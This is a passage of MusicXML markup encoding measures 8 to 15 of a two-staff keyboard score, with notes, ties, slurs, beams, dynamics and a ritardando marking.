<stem default-y="15">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="246">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="17">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="273">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="20">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="299">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="112">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>6</duration>
<tie type="stop"/>
<voice>2</voice>
<type>eighth</type>
<dot/>
<stem default-y="-75">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="193">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>2</voice>
<type>16th</type>
<stem default-y="-80">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
<note default-x="219">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-65.5">down</stem>
<staff>1</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="112">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="25">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied orientation="under" type="stop"/>
</notations>
</note>
<note default-x="139">
<pitch>
<step>E</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="29">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="166">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="33">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="193">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="112">
<pitch>
<step>A</step>
<octave>2</octave>
</pitch>
<duration>4</duration>
<voice>4</voice>
<type>eighth</type>
<stem default-y="-62">down</stem>
<staff>2</staff>
<beam number="1">begin</beam>
</note>
<note default-x="166">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>4</voice>
<type>eighth</type>
<stem default-y="-50">down</stem>
<staff>2</staff>
<beam number="1">end</beam>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="219">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>6</duration>
<tie type="stop"/>
<voice>4</voice>
<type>eighth</type>
<dot/>
<stem default-y="-32">down</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="299">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-32">down</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">backward hook</beam>
</note>
</measure>
<!--=======================================================-->
<measure number="9" width="302">
<note default-x="21">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="82">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="113">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="16">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<wedge default-y="-56" spread="0" type="crescendo"/>
</direction-type>
<offset>1</offset>
<staff>1</staff>
</direction>
<note default-x="158">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="16">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="225">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<offset>-1</offset>
<staff>1</staff>
</direction>
<note default-x="256">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="21">
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-25" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="51">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="51">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="82">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="55">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="113">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="158">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="48.5">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-35" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="194">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="53">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="225">
<pitch>
<step>E</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="56">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="256">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="21">
<pitch>
<step>G</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<accidental>natural</accidental>
<stem default-y="-40.5">down</stem>
<staff>2</staff>
</note>
<note default-x="158">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-45.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="10" width="256">
<note default-x="17">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="78">
<rest>
<display-step>D</display-step>
<display-octave>5</display-octave>
</rest>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="135">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="163">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="194">
<pitch>
<step>G</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="224">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur bezier-x="-61" bezier-y="26" default-x="7" default-y="10" number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="17">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="28" bezier-y="60" default-x="14" default-y="45" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="45">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="78">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="56">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="107">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="17">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>4</voice>
<type>quarter</type>
<dot/>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
</note>
<note default-x="194">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>4</duration>
<voice>4</voice>
<type>eighth</type>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="11" width="311">
<note default-x="22">
<rest/>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<note default-x="91">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="124">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="21">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<wedge default-y="-56" spread="0" type="crescendo"/>
</direction-type>
<offset>1</offset>
<staff>1</staff>
</direction>
<note default-x="168">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="21">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="233">
<rest/>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<direction>
<direction-type>
<wedge spread="15" type="stop"/>
</direction-type>
<offset>-1</offset>
<staff>1</staff>
</direction>
<note default-x="265">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="26">up</stem>
<staff>1</staff>
<notations>
<tied type="start"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="22">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>flat</accidental>
<stem default-y="57">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-15" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="54">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="61">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="91">
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>natural</accidental>
<stem default-y="65">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="124">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<note default-x="168">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="53.5">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur default-x="7" default-y="-15" number="1" placement="below" type="start"/>
</notations>
</note>
<note default-x="200">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="57">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="233">
<pitch>
<step>G</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="61">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="265">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="22">
<pitch>
<step>B</step>
<alter>-1</alter>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<accidental>flat</accidental>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
</note>
<note default-x="168">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-35.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="12" width="356">
<print new-page="yes">
<staff-layout number="1">
<staff-distance>90</staff-distance>
</staff-layout>
</print>
<note default-x="111">
<pitch>
<step>E</step>
<octave>5</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>1</voice>
<type>eighth</type>
<stem default-y="26">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<note default-x="172">
<rest>
<display-step>F</display-step>
<display-octave>5</display-octave>
</rest>
<duration>4</duration>
<voice>1</voice>
<type>eighth</type>
<staff>1</staff>
</note>
<direction placement="above">
<direction-type>
<words default-y="55" font-style="italic">ritard.</words>
</direction-type>
<direction-type>
<dashes default-y="57" number="1" type="start"/>
</direction-type>
<staff>1</staff>
</direction>
<note default-x="233">
<pitch>
<step>A</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-57">down</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
</note>
<note default-x="263">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-51.5">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="294">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="-45.5">down</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="324">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="-40">down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="111">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="42">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="42" bezier-y="68" default-x="13" default-y="57" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="141">
<pitch>
<step>A</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="46">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="172">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="202">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="111">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>8</duration>
<voice>4</voice>
<type>quarter</type>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="233">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>4</duration>
<voice>4</voice>
<type>eighth</type>
<staff>2</staff>
</note>
<note default-x="294">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="324">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-60.5">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="13" width="285">
<note default-x="23">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem default-y="23">up</stem>
<staff>1</staff>
<notations>
<slur bezier-x="-72" bezier-y="34" default-x="8" default-y="16" number="1" type="stop"/>
</notations>
</note>
<note default-x="153">
<rest>
<display-step>A</display-step>
<display-octave>5</display-octave>
</rest>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="186">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="218">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="250">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
<slur number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="153">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-60.5">down</stem>
<staff>1</staff>
<notations>
<slur bezier-x="-38" bezier-y="14" default-x="7" default-y="-15" number="1" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="37">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur bezier-x="18" bezier-y="39" default-x="14" default-y="42" number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="55">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="41">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="88">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="45">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="121">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem>down</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>8</duration>
</backup>
<note default-x="23">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>4</voice>
<type>quarter</type>
<dot/>
<stem default-y="-58">down</stem>
<staff>2</staff>
</note>
<note default-x="217">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="250">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-58">down</stem>
<staff>2</staff>
</note>
</measure>
<!--=======================================================-->
<measure number="14" width="270">
<note default-x="10">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<tie type="stop"/>
<tie type="start"/>
<voice>1</voice>
<type>quarter</type>
<stem default-y="18">up</stem>
<staff>1</staff>
<notations>
<tied type="stop"/>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="146">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="stop"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<tied type="stop"/>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="176">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="206">
<pitch>
<step>G</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="237">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>8</duration>
<voice>2</voice>
<staff>1</staff>
</forward>
<note default-x="146">
<pitch>
<step>F</step>
<alter>1</alter>
<octave>4</octave>
</pitch>
<duration>8</duration>
<voice>2</voice>
<type>quarter</type>
<stem default-y="-63">down</stem>
<staff>1</staff>
<notations>
<slur number="2" type="stop"/>
</notations>
</note>
<backup>
<duration>16</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="40">up</stem>
<staff>2</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="2" placement="above" type="start"/>
</notations>
</note>
<note default-x="46">
<pitch>
<step>A</step>
<alter>1</alter>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<accidental>sharp</accidental>
<stem default-y="44">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="76">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>2</duration>
<voice>3</voice>
<type>16th</type>
<stem default-y="47">up</stem>
<staff>2</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="108">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>3</voice>
<type>16th</type>
<stem default-y="50">up</stem>
<staff>2</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
</notations>
</note>
<note default-x="146">
<pitch>
<step>D</step>
<octave>4</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>3</voice>
<type>eighth</type>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
<backup>
<duration>12</duration>
</backup>
<note default-x="10">
<pitch>
<step>D</step>
<octave>3</octave>
</pitch>
<duration>12</duration>
<voice>4</voice>
<type>quarter</type>
<dot/>
<stem default-y="-55.5">down</stem>
<staff>2</staff>
</note>
<note default-x="206">
<rest>
<display-step>D</display-step>
<display-octave>3</display-octave>
</rest>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<staff>2</staff>
</note>
<note default-x="237">
<pitch>
<step>B</step>
<octave>2</octave>
</pitch>
<duration>2</duration>
<voice>4</voice>
<type>16th</type>
<stem default-y="-60.5">down</stem>
<staff>2</staff>
</note>
<backup>
<duration>16</duration>
</backup>
<forward>
<duration>4</duration>
<voice>5</voice>
<staff>2</staff>
</forward>
<note default-x="76">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="start"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
<notations>
<tied orientation="under" type="start"/>
</notations>
</note>
<note default-x="146">
<pitch>
<step>B</step>
<octave>3</octave>
</pitch>
<duration>4</duration>
<tie type="stop"/>
<voice>5</voice>
<type>eighth</type>
<stem default-y="-30.5">down</stem>
<staff>2</staff>
<notations>
<tied type="stop"/>
</notations>
</note>
</measure>
<!--=======================================================-->
<measure number="15" width="289">
<note default-x="23">
<pitch>
<step>E</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>8</duration>
<voice>1</voice>
<type>quarter</type>
<accidental>sharp</accidental>
<stem default-y="23">up</stem>
<staff>1</staff>
<notations>
<slur number="1" type="stop"/>
</notations>
</note>
<direction placement="below">
<direction-type>
<dashes default-y="57" number="1" type="stop"/>
</direction-type>
</direction>
<note default-x="155">
<rest>
<display-step>A</display-step>
<display-octave>5</display-octave>
</rest>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<staff>1</staff>
</note>
<note default-x="188">
<pitch>
<step>B</step>
<octave>4</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">begin</beam>
<beam number="2">begin</beam>
<notations>
<slur number="1" placement="above" type="start"/>
</notations>
</note>
<note default-x="221">
<pitch>
<step>D</step>
<octave>5</octave>
</pitch>
<duration>2</duration>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">continue</beam>
<beam number="2">continue</beam>
</note>
<note default-x="253">
<pitch>
<step>C</step>
<alter>1</alter>
<octave>5</octave>
</pitch>
<duration>2</duration>
<tie type="start"/>
<voice>1</voice>
<type>16th</type>
<stem default-y="23">up</stem>
<staff>1</staff>
<beam number="1">end</beam>
<beam number="2">end</beam>
<notations>
<tied orientation="over" type="start"/>
